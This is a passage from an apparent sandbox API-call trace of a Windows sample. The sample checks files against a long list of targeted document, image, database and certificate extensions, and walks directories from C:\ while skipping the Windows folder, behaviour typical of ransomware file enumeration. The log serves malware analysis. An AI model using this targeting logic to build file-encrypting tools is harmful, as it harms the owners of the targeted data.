lstrlenW (lpString=".db") returned 3 [0280.734] lstrcmpiW (lpString1=".db", lpString2="txt") returned -1 [0280.734] lstrlenW (lpString=".dbf") returned 4 [0280.735] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0280.735] lstrlenW (lpString=".dbx") returned 4 [0280.735] lstrcmpiW (lpString1=".dbx", lpString2=".txt") returned -1 [0280.735] lstrlenW (lpString=".dc3") returned 4 [0280.735] lstrcmpiW (lpString1=".dc3", lpString2=".txt") returned -1 [0280.735] lstrlenW (lpString=".dcm") returned 4 [0280.735] lstrcmpiW (lpString1=".dcm", lpString2=".txt") returned -1 [0280.735] lstrlenW (lpString=".dcr") returned 4 [0280.735] lstrcmpiW (lpString1=".dcr", lpString2=".txt") returned -1 [0280.735] lstrlenW (lpString=".der") returned 4 [0280.736] lstrcmpiW (lpString1=".der", lpString2=".txt") returned -1 [0280.736] lstrlenW (lpString=".dib") returned 4 [0280.736] lstrcmpiW (lpString1=".dib", lpString2=".txt") returned -1 [0280.736] lstrlenW (lpString=".dic") returned 4 [0280.736] lstrcmpiW (lpString1=".dic", lpString2=".txt") returned -1 [0280.736] lstrlenW (lpString=".dif") returned 4 [0280.736] lstrcmpiW (lpString1=".dif", lpString2=".txt") returned -1 [0280.736] lstrlenW (lpString=".divx") returned 5 [0280.736] lstrcmpiW (lpString1=".divx", lpString2="S.txt") returned -1 [0280.736] lstrlenW (lpString=".djvu") returned 5 [0280.736] lstrcmpiW (lpString1=".djvu", lpString2="S.txt") returned -1 [0280.737] lstrlenW (lpString=".dng") returned 4 [0280.737] lstrcmpiW (lpString1=".dng", lpString2=".txt") returned -1 [0280.737] lstrlenW (lpString=".doc") returned 4 [0280.738] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0280.738] lstrlenW (lpString=".docm") returned 5 [0280.738] lstrcmpiW (lpString1=".docm", lpString2="S.txt") returned -1 [0280.738] lstrlenW (lpString=".docx") returned 5 [0280.738] lstrcmpiW (lpString1=".docx", lpString2="S.txt") returned -1 [0280.740] lstrlenW (lpString=".dot") returned 4 [0280.740] lstrcmpiW (lpString1=".dot", lpString2=".txt") returned -1 [0280.740] lstrlenW (lpString=".dotm") returned 5 [0280.740] lstrcmpiW (lpString1=".dotm", lpString2="S.txt") returned -1 [0280.740] lstrlenW (lpString=".dotx") returned 5 [0280.740] lstrcmpiW (lpString1=".dotx", lpString2="S.txt") returned -1 [0280.740] lstrlenW (lpString=".dpx") returned 4 [0280.741] lstrcmpiW (lpString1=".dpx", lpString2=".txt") returned -1 [0280.741] lstrlenW (lpString=".dqy") returned 4 [0280.741] lstrcmpiW (lpString1=".dqy", lpString2=".txt") returned -1 [0280.741] lstrlenW (lpString=".dsn") returned 4 [0280.741] lstrcmpiW (lpString1=".dsn", lpString2=".txt") returned -1 [0280.741] lstrlenW (lpString=".dt") returned 3 [0280.741] lstrcmpiW (lpString1=".dt", lpString2="txt") returned -1 [0280.742] lstrlenW (lpString=".dtd") returned 4 [0280.742] lstrcmpiW (lpString1=".dtd", lpString2=".txt") returned -1 [0280.742] lstrlenW (lpString=".dwg") returned 4 [0280.742] lstrcmpiW (lpString1=".dwg", lpString2=".txt") returned -1 [0280.742] lstrlenW (lpString=".dwt") returned 4 [0280.742] lstrcmpiW (lpString1=".dwt", lpString2=".txt") returned -1 [0280.742] lstrlenW (lpString=".dx") returned 3 [0280.742] lstrcmpiW (lpString1=".dx", lpString2="txt") returned -1 [0280.743] lstrlenW (lpString=".dxf") returned 4 [0280.743] lstrcmpiW (lpString1=".dxf", lpString2=".txt") returned -1 [0280.743] lstrlenW (lpString=".edml") returned 5 [0280.743] lstrcmpiW (lpString1=".edml", lpString2="S.txt") returned -1 [0280.743] lstrlenW (lpString=".efd") returned 4 [0280.743] lstrcmpiW (lpString1=".efd", lpString2=".txt") returned -1 [0280.743] lstrlenW (lpString=".elf") returned 4 [0280.743] lstrcmpiW (lpString1=".elf", lpString2=".txt") returned -1 [0280.744] lstrlenW (lpString=".emf") returned 4 [0280.744] lstrcmpiW (lpString1=".emf", lpString2=".txt") returned -1 [0280.744] lstrlenW (lpString=".emz") returned 4 [0280.744] lstrcmpiW (lpString1=".emz", lpString2=".txt") returned -1 [0280.745] lstrlenW (lpString=".epf") returned 4 [0280.745] lstrcmpiW (lpString1=".epf", lpString2=".txt") returned -1 [0280.745] lstrlenW (lpString=".eps") returned 4 [0280.746] lstrcmpiW (lpString1=".eps", lpString2=".txt") returned -1 [0280.747] lstrlenW (lpString=".epsf") returned 5 [0280.747] lstrcmpiW (lpString1=".epsf", lpString2="S.txt") returned -1 [0280.747] lstrlenW (lpString=".epsp") returned 5 [0280.747] lstrcmpiW (lpString1=".epsp", lpString2="S.txt") returned -1 [0280.747] lstrlenW (lpString=".erf") returned 4 [0280.747] lstrcmpiW (lpString1=".erf", lpString2=".txt") returned -1 [0280.748] lstrlenW (lpString=".exr") returned 4 [0280.748] lstrcmpiW (lpString1=".exr", lpString2=".txt") returned -1 [0280.748] lstrlenW (lpString=".f4v") returned 4 [0280.748] lstrcmpiW (lpString1=".f4v", lpString2=".txt") returned -1 [0280.748] lstrlenW (lpString=".fido") returned 5 [0280.748] lstrcmpiW (lpString1=".fido", lpString2="S.txt") returned -1 [0280.748] lstrlenW (lpString=".flm") returned 4 [0280.748] lstrcmpiW (lpString1=".flm", lpString2=".txt") returned -1 [0280.748] lstrlenW (lpString=".flv") returned 4 [0280.748] lstrcmpiW (lpString1=".flv", lpString2=".txt") returned -1 [0280.748] lstrlenW (lpString=".frm") returned 4 [0280.749] lstrcmpiW (lpString1=".frm", lpString2=".txt") returned -1 [0280.749] lstrlenW (lpString=".fxg") returned 4 [0281.223] lstrcmpiW (lpString1=".fxg", lpString2=".txt") returned -1 [0281.224] lstrlenW (lpString=".geo") returned 4 [0281.224] lstrcmpiW (lpString1=".geo", lpString2=".txt") returned -1 [0281.224] lstrlenW (lpString=".gif") returned 4 [0281.224] lstrcmpiW (lpString1=".gif", lpString2=".txt") returned -1 [0281.224] lstrlenW (lpString=".grs") returned 4 [0281.224] lstrcmpiW (lpString1=".grs", lpString2=".txt") returned -1 [0281.224] lstrlenW (lpString=".gz") returned 3 [0281.224] lstrcmpiW (lpString1=".gz", lpString2="txt") returned -1 [0281.225] lstrlenW (lpString=".h") returned 2 [0281.226] lstrcmpiW (lpString1=".h", lpString2="xt") returned -1 [0281.226] lstrlenW (lpString=".hdr") returned 4 [0281.226] lstrcmpiW (lpString1=".hdr", lpString2=".txt") returned -1 [0281.226] lstrlenW (lpString=".hpp") returned 4 [0281.226] lstrcmpiW (lpString1=".hpp", lpString2=".txt") returned -1 [0281.226] lstrlenW (lpString=".hta") returned 4 [0281.226] lstrcmpiW (lpString1=".hta", lpString2=".txt") returned -1 [0281.226] lstrlenW (lpString=".htc") returned 4 [0281.226] lstrcmpiW (lpString1=".htc", lpString2=".txt") returned -1 [0281.226] lstrlenW (lpString=".htm") returned 4 [0281.226] lstrcmpiW (lpString1=".htm", lpString2=".txt") returned -1 [0281.227] lstrlenW (lpString=".html") returned 5 [0281.227] lstrcmpiW (lpString1=".html", lpString2="S.txt") returned -1 [0281.227] lstrlenW (lpString=".icb") returned 4 [0281.227] lstrcmpiW (lpString1=".icb", lpString2=".txt") returned -1 [0281.227] lstrlenW (lpString=".ics") returned 4 [0281.227] lstrcmpiW (lpString1=".ics", lpString2=".txt") returned -1 [0281.227] lstrlenW (lpString=".iff") returned 4 [0281.227] lstrcmpiW (lpString1=".iff", lpString2=".txt") returned -1 [0281.227] lstrlenW (lpString=".inc") returned 4 [0281.227] lstrcmpiW (lpString1=".inc", lpString2=".txt") returned -1 [0281.227] lstrlenW (lpString=".indd") returned 5 [0281.227] lstrcmpiW (lpString1=".indd", lpString2="S.txt") returned -1 [0281.227] lstrlenW (lpString=".ini") returned 4 [0281.227] lstrcmpiW (lpString1=".ini", lpString2=".txt") returned -1 [0281.228] lstrlenW (lpString=".iqy") returned 4 [0281.228] lstrcmpiW (lpString1=".iqy", lpString2=".txt") returned -1 [0281.228] lstrlenW (lpString=".j2c") returned 4 [0281.228] lstrcmpiW (lpString1=".j2c", lpString2=".txt") returned -1 [0281.228] lstrlenW (lpString=".j2k") returned 4 [0281.228] lstrcmpiW (lpString1=".j2k", lpString2=".txt") returned -1 [0281.228] lstrlenW (lpString=".java") returned 5 [0281.228] lstrcmpiW (lpString1=".java", lpString2="S.txt") returned -1 [0281.228] lstrlenW (lpString=".jp2") returned 4 [0281.228] lstrcmpiW (lpString1=".jp2", lpString2=".txt") returned -1 [0281.228] lstrlenW (lpString=".jpc") returned 4 [0281.228] lstrcmpiW (lpString1=".jpc", lpString2=".txt") returned -1 [0281.229] lstrlenW (lpString=".jpe") returned 4 [0281.229] lstrcmpiW (lpString1=".jpe", lpString2=".txt") returned -1 [0281.229] lstrlenW (lpString=".jpeg") returned 5 [0281.229] lstrcmpiW (lpString1=".jpeg", lpString2="S.txt") returned -1 [0281.229] lstrlenW (lpString=".jpf") returned 4 [0281.229] lstrcmpiW (lpString1=".jpf", lpString2=".txt") returned -1 [0281.230] lstrlenW (lpString=".jpg") returned 4 [0281.230] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0281.230] lstrlenW (lpString=".jpx") returned 4 [0281.230] lstrcmpiW (lpString1=".jpx", lpString2=".txt") returned -1 [0281.230] lstrlenW (lpString=".js") returned 3 [0281.230] lstrcmpiW (lpString1=".js", lpString2="txt") returned -1 [0281.230] lstrlenW (lpString=".jsf") returned 4 [0281.230] lstrcmpiW (lpString1=".jsf", lpString2=".txt") returned -1 [0281.230] lstrlenW (lpString=".json") returned 5 [0281.230] lstrcmpiW (lpString1=".json", lpString2="S.txt") returned -1 [0281.230] lstrlenW (lpString=".jsp") returned 4 [0281.231] lstrcmpiW (lpString1=".jsp", lpString2=".txt") returned -1 [0281.231] lstrlenW (lpString=".kdc") returned 4 [0281.231] lstrcmpiW (lpString1=".kdc", lpString2=".txt") returned -1 [0281.231] lstrlenW (lpString=".kmz") returned 4 [0281.231] lstrcmpiW (lpString1=".kmz", lpString2=".txt") returned -1 [0281.231] lstrlenW (lpString=".kwm") returned 4 [0281.231] lstrcmpiW (lpString1=".kwm", lpString2=".txt") returned -1 [0281.231] lstrlenW (lpString=".lasso") returned 6 [0281.231] lstrcmpiW (lpString1=".lasso", lpString2="CS.txt") returned -1 [0281.231] lstrlenW (lpString=".lbi") returned 4 [0281.232] lstrcmpiW (lpString1=".lbi", lpString2=".txt") returned -1 [0281.232] lstrlenW (lpString=".lgf") returned 4 [0281.232] lstrcmpiW (lpString1=".lgf", lpString2=".txt") returned -1 [0281.232] lstrlenW (lpString=".lgp") returned 4 [0281.232] lstrcmpiW (lpString1=".lgp", lpString2=".txt") returned -1 [0281.233] lstrlenW (lpString=".log") returned 4 [0281.233] lstrcmpiW (lpString1=".log", lpString2=".txt") returned -1 [0281.233] lstrlenW (lpString=".m1v") returned 4 [0281.233] lstrcmpiW (lpString1=".m1v", lpString2=".txt") returned -1 [0281.233] lstrlenW (lpString=".m4a") returned 4 [0281.234] lstrcmpiW (lpString1=".m4a", lpString2=".txt") returned -1 [0281.234] lstrlenW (lpString=".m4v") returned 4 [0281.234] lstrcmpiW (lpString1=".m4v", lpString2=".txt") returned -1 [0281.234] lstrlenW (lpString=".max") returned 4 [0281.234] lstrcmpiW (lpString1=".max", lpString2=".txt") returned -1 [0281.235] lstrlenW (lpString=".md") returned 3 [0281.236] lstrcmpiW (lpString1=".md", lpString2="txt") returned -1 [0281.236] lstrlenW (lpString=".mda") returned 4 [0281.236] lstrcmpiW (lpString1=".mda", lpString2=".txt") returned -1 [0281.236] lstrlenW (lpString=".mdb") returned 4 [0281.236] lstrcmpiW (lpString1=".mdb", lpString2=".txt") returned -1 [0281.236] lstrlenW (lpString=".mde") returned 4 [0281.236] lstrcmpiW (lpString1=".mde", lpString2=".txt") returned -1 [0281.237] lstrlenW (lpString=".mdf") returned 4 [0281.237] lstrcmpiW (lpString1=".mdf", lpString2=".txt") returned -1 [0281.237] lstrlenW (lpString=".mdw") returned 4 [0281.237] lstrcmpiW (lpString1=".mdw", lpString2=".txt") returned -1 [0281.237] lstrlenW (lpString=".mef") returned 4 [0281.237] lstrcmpiW (lpString1=".mef", lpString2=".txt") returned -1 [0281.237] lstrlenW (lpString=".mft") returned 4 [0281.237] lstrcmpiW (lpString1=".mft", lpString2=".txt") returned -1 [0281.237] lstrlenW (lpString=".mfw") returned 4 [0281.237] lstrcmpiW (lpString1=".mfw", lpString2=".txt") returned -1 [0281.237] lstrlenW (lpString=".mht") returned 4 [0281.237] lstrcmpiW (lpString1=".mht", lpString2=".txt") returned -1 [0281.238] lstrlenW (lpString=".mhtml") returned 6 [0281.238] lstrcmpiW (lpString1=".mhtml", lpString2="CS.txt") returned -1 [0281.238] lstrlenW (lpString=".mka") returned 4 [0281.238] lstrcmpiW (lpString1=".mka", lpString2=".txt") returned -1 [0281.238] lstrlenW (lpString=".mkidx") returned 6 [0281.238] lstrcmpiW (lpString1=".mkidx", lpString2="CS.txt") returned -1 [0281.238] lstrlenW (lpString=".mkv") returned 4 [0281.239] lstrcmpiW (lpString1=".mkv", lpString2=".txt") returned -1 [0281.239] lstrlenW (lpString=".mos") returned 4 [0281.239] lstrcmpiW (lpString1=".mos", lpString2=".txt") returned -1 [0281.239] lstrlenW (lpString=".mov") returned 4 [0281.239] lstrcmpiW (lpString1=".mov", lpString2=".txt") returned -1 [0281.239] lstrlenW (lpString=".mp3") returned 4 [0281.239] lstrcmpiW (lpString1=".mp3", lpString2=".txt") returned -1 [0281.239] lstrlenW (lpString=".mp4") returned 4 [0281.239] lstrcmpiW (lpString1=".mp4", lpString2=".txt") returned -1 [0281.240] lstrlenW (lpString=".mpeg") returned 5 [0281.240] lstrcmpiW (lpString1=".mpeg", lpString2="S.txt") returned -1 [0281.240] lstrlenW (lpString=".mpg") returned 4 [0281.240] lstrcmpiW (lpString1=".mpg", lpString2=".txt") returned -1 [0281.241] lstrlenW (lpString=".mpv") returned 4 [0281.241] lstrcmpiW (lpString1=".mpv", lpString2=".txt") returned -1 [0281.241] lstrlenW (lpString=".mrw") returned 4 [0281.241] lstrcmpiW (lpString1=".mrw", lpString2=".txt") returned -1 [0281.241] lstrlenW (lpString=".msg") returned 4 [0281.241] lstrcmpiW (lpString1=".msg", lpString2=".txt") returned -1 [0281.241] lstrlenW (lpString=".mxl") returned 4 [0281.241] lstrcmpiW (lpString1=".mxl", lpString2=".txt") returned -1 [0281.241] lstrlenW (lpString=".myd") returned 4 [0281.242] lstrcmpiW (lpString1=".myd", lpString2=".txt") returned -1 [0281.242] lstrlenW (lpString=".myi") returned 4 [0281.242] lstrcmpiW (lpString1=".myi", lpString2=".txt") returned -1 [0281.242] lstrlenW (lpString=".nef") returned 4 [0281.242] lstrcmpiW (lpString1=".nef", lpString2=".txt") returned -1 [0281.242] lstrlenW (lpString=".nrw") returned 4 [0281.242] lstrcmpiW (lpString1=".nrw", lpString2=".txt") returned -1 [0281.242] lstrlenW (lpString=".obj") returned 4 [0281.242] lstrcmpiW (lpString1=".obj", lpString2=".txt") returned -1 [0281.242] lstrlenW (lpString=".odb") returned 4 [0281.242] lstrcmpiW (lpString1=".odb", lpString2=".txt") returned -1 [0281.242] lstrlenW (lpString=".odc") returned 4 [0281.243] lstrcmpiW (lpString1=".odc", lpString2=".txt") returned -1 [0281.243] lstrlenW (lpString=".odm") returned 4 [0281.243] lstrcmpiW (lpString1=".odm", lpString2=".txt") returned -1 [0281.243] lstrlenW (lpString=".odp") returned 4 [0281.243] lstrcmpiW (lpString1=".odp", lpString2=".txt") returned -1 [0281.243] lstrlenW (lpString=".ods") returned 4 [0281.243] lstrcmpiW (lpString1=".ods", lpString2=".txt") returned -1 [0281.243] lstrlenW (lpString=".oft") returned 4 [0281.243] lstrcmpiW (lpString1=".oft", lpString2=".txt") returned -1 [0281.243] lstrlenW (lpString=".one") returned 4 [0281.243] lstrcmpiW (lpString1=".one", lpString2=".txt") returned -1 [0281.243] lstrlenW (lpString=".onepkg") returned 7 [0281.243] lstrcmpiW (lpString1=".onepkg", lpString2="SCS.txt") returned -1 [0281.244] lstrlenW (lpString=".onetoc2") returned 8 [0281.244] lstrcmpiW (lpString1=".onetoc2", lpString2="KSCS.txt") returned -1 [0281.244] lstrlenW (lpString=".opt") returned 4 [0281.244] lstrcmpiW (lpString1=".opt", lpString2=".txt") returned -1 [0281.244] lstrlenW (lpString=".oqy") returned 4 [0281.244] lstrcmpiW (lpString1=".oqy", lpString2=".txt") returned -1 [0281.244] lstrlenW (lpString=".orf") returned 4 [0281.244] lstrcmpiW (lpString1=".orf", lpString2=".txt") returned -1 [0281.244] lstrlenW (lpString=".p12") returned 4 [0281.244] lstrcmpiW (lpString1=".p12", lpString2=".txt") returned -1 [0281.244] lstrlenW (lpString=".p7b") returned 4 [0281.244] lstrcmpiW (lpString1=".p7b", lpString2=".txt") returned -1 [0281.244] lstrlenW (lpString=".p7c") returned 4 [0281.244] lstrcmpiW (lpString1=".p7c", lpString2=".txt") returned -1 [0281.245] lstrlenW (lpString=".pam") returned 4 [0281.245] lstrcmpiW (lpString1=".pam", lpString2=".txt") returned -1 [0281.245] lstrlenW (lpString=".pbm") returned 4 [0281.245] lstrcmpiW (lpString1=".pbm", lpString2=".txt") returned -1 [0281.245] lstrlenW (lpString=".pct") returned 4 [0281.245] lstrcmpiW (lpString1=".pct", lpString2=".txt") returned -1 [0281.245] lstrlenW (lpString=".pcx") returned 4 [0281.246] lstrcmpiW (lpString1=".pcx", lpString2=".txt") returned -1 [0281.246] lstrlenW (lpString=".pdd") returned 4 [0281.246] lstrcmpiW (lpString1=".pdd", lpString2=".txt") returned -1 [0281.246] lstrlenW (lpString=".pdf") returned 4 [0281.247] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pdp") returned 4 [0281.247] lstrcmpiW (lpString1=".pdp", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pef") returned 4 [0281.247] lstrcmpiW (lpString1=".pef", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pem") returned 4 [0281.247] lstrcmpiW (lpString1=".pem", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pff") returned 4 [0281.247] lstrcmpiW (lpString1=".pff", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pfm") returned 4 [0281.247] lstrcmpiW (lpString1=".pfm", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pfx") returned 4 [0281.247] lstrcmpiW (lpString1=".pfx", lpString2=".txt") returned -1 [0281.247] lstrlenW (lpString=".pgm") returned 4 [0281.249] lstrcmpiW (lpString1=".pgm", lpString2=".txt") returned -1 [0281.249] lstrlenW (lpString=".php") returned 4 [0281.249] lstrcmpiW (lpString1=".php", lpString2=".txt") returned -1 [0281.249] lstrlenW (lpString=".php3") returned 5 [0281.249] lstrcmpiW (lpString1=".php3", lpString2="S.txt") returned -1 [0281.249] lstrlenW (lpString=".php4") returned 5 [0281.249] lstrcmpiW (lpString1=".php4", lpString2="S.txt") returned -1 [0281.249] lstrlenW (lpString=".php5") returned 5 [0281.249] lstrcmpiW (lpString1=".php5", lpString2="S.txt") returned -1 [0281.249] lstrlenW (lpString=".phtml") returned 6 [0281.249] lstrcmpiW (lpString1=".phtml", lpString2="CS.txt") returned -1 [0281.250] lstrlenW (lpString=".pict") returned 5 [0281.250] lstrcmpiW (lpString1=".pict", lpString2="S.txt") returned -1 [0281.250] lstrlenW (lpString=".pl") returned 3 [0281.250] lstrcmpiW (lpString1=".pl", lpString2="txt") returned -1 [0281.250] lstrlenW (lpString=".pls") returned 4 [0281.250] lstrcmpiW (lpString1=".pls", lpString2=".txt") returned -1 [0281.250] lstrlenW (lpString=".pm") returned 3 [0281.250] lstrcmpiW (lpString1=".pm", lpString2="txt") returned -1 [0281.250] lstrlenW (lpString=".png") returned 4 [0281.250] lstrcmpiW (lpString1=".png", lpString2=".txt") returned -1 [0281.250] lstrlenW (lpString=".pnm") returned 4 [0281.250] lstrcmpiW (lpString1=".pnm", lpString2=".txt") returned -1 [0281.250] lstrlenW (lpString=".pot") returned 4 [0281.250] lstrcmpiW (lpString1=".pot", lpString2=".txt") returned -1 [0281.251] lstrlenW (lpString=".potm") returned 5 [0281.251] lstrcmpiW (lpString1=".potm", lpString2="S.txt") returned -1 [0281.251] lstrlenW (lpString=".potx") returned 5 [0281.251] lstrcmpiW (lpString1=".potx", lpString2="S.txt") returned -1 [0281.251] lstrlenW (lpString=".ppa") returned 4 [0281.251] lstrcmpiW (lpString1=".ppa", lpString2=".txt") returned -1 [0281.251] lstrlenW (lpString=".ppam") returned 5 [0281.251] lstrcmpiW (lpString1=".ppam", lpString2="S.txt") returned -1 [0281.251] lstrlenW (lpString=".ppm") returned 4 [0281.251] lstrcmpiW (lpString1=".ppm", lpString2=".txt") returned -1 [0281.251] lstrlenW (lpString=".pps") returned 4 [0281.255] lstrcmpiW (lpString1=".pps", lpString2=".txt") returned -1 [0281.255] lstrlenW (lpString=".ppsm") returned 5 [0281.255] lstrcmpiW (lpString1=".ppsm", lpString2="S.txt") returned -1 [0281.255] lstrlenW (lpString=".ppt") returned 4 [0281.255] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0281.255] lstrlenW (lpString=".pptm") returned 5 [0281.255] lstrcmpiW (lpString1=".pptm", lpString2="S.txt") returned -1 [0281.256] lstrlenW (lpString=".pptx") returned 5 [0281.256] lstrcmpiW (lpString1=".pptx", lpString2="S.txt") returned -1 [0281.256] lstrlenW (lpString=".prn") returned 4 [0281.256] lstrcmpiW (lpString1=".prn", lpString2=".txt") returned -1 [0281.256] lstrlenW (lpString=".ps") returned 3 [0281.256] lstrcmpiW (lpString1=".ps", lpString2="txt") returned -1 [0281.256] lstrlenW (lpString=".psb") returned 4 [0281.256] lstrcmpiW (lpString1=".psb", lpString2=".txt") returned -1 [0281.256] lstrlenW (lpString=".psd") returned 4 [0281.256] lstrcmpiW (lpString1=".psd", lpString2=".txt") returned -1 [0281.256] lstrlenW (lpString=".pst") returned 4 [0281.257] lstrcmpiW (lpString1=".pst", lpString2=".txt") returned -1 [0281.257] lstrlenW (lpString=".ptx") returned 4 [0281.257] lstrcmpiW (lpString1=".ptx", lpString2=".txt") returned -1 [0281.257] lstrlenW (lpString=".pub") returned 4 [0281.257] lstrcmpiW (lpString1=".pub", lpString2=".txt") returned -1 [0281.257] lstrlenW (lpString=".pwm") returned 4 [0281.257] lstrcmpiW (lpString1=".pwm", lpString2=".txt") returned -1 [0281.257] lstrlenW (lpString=".pxr") returned 4 [0281.257] lstrcmpiW (lpString1=".pxr", lpString2=".txt") returned -1 [0281.257] lstrlenW (lpString=".py") returned 3 [0281.257] lstrcmpiW (lpString1=".py", lpString2="txt") returned -1 [0281.257] lstrlenW (lpString=".qt") returned 3 [0281.257] lstrcmpiW (lpString1=".qt", lpString2="txt") returned -1 [0281.258] lstrlenW (lpString=".r3d") returned 4 [0281.258] lstrcmpiW (lpString1=".r3d", lpString2=".txt") returned -1 [0281.258] lstrlenW (lpString=".raf") returned 4 [0281.258] lstrcmpiW (lpString1=".raf", lpString2=".txt") returned -1 [0281.258] lstrlenW (lpString=".rar") returned 4 [0281.258] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0281.258] lstrlenW (lpString=".raw") returned 4 [0281.259] lstrcmpiW (lpString1=".raw", lpString2=".txt") returned -1 [0281.260] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0281.263] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x438dff8 | out: hHeap=0x590000) returned 1 [0281.263] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0281.265] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x37ae920) Thread: id = 45 os_tid = 0x674 [0206.726] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x4270048 [0206.728] lstrlenW (lpString="C:") returned 2 [0206.728] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38efd00 | out: lpFindFileData=0x38efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x620240 [0206.729] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0206.729] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0206.729] lstrlenW (lpString="$Recycle.Bin") returned 12 [0206.729] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0206.729] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x4280050 [0206.731] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0206.731] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38efa84 | out: lpFindFileData=0x38efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x620280 [0206.731] FindNextFileW (in: hFindFile=0x620280, lpFindFileData=0x38efa84 | out: lpFindFileData=0x38efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.731] FindNextFileW (in: hFindFile=0x620280, lpFindFileData=0x38efa84 | out: lpFindFileData=0x38efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134c6640, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0206.731] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0206.732] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0206.732] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0206.732] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0206.732] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x4290058 [0206.733] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0206.733] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x38ef808 | out: lpFindFileData=0x38ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134c6640, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6202c0 [0206.734] FindNextFileW (in: hFindFile=0x6202c0, lpFindFileData=0x38ef808 | out: lpFindFileData=0x38ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, 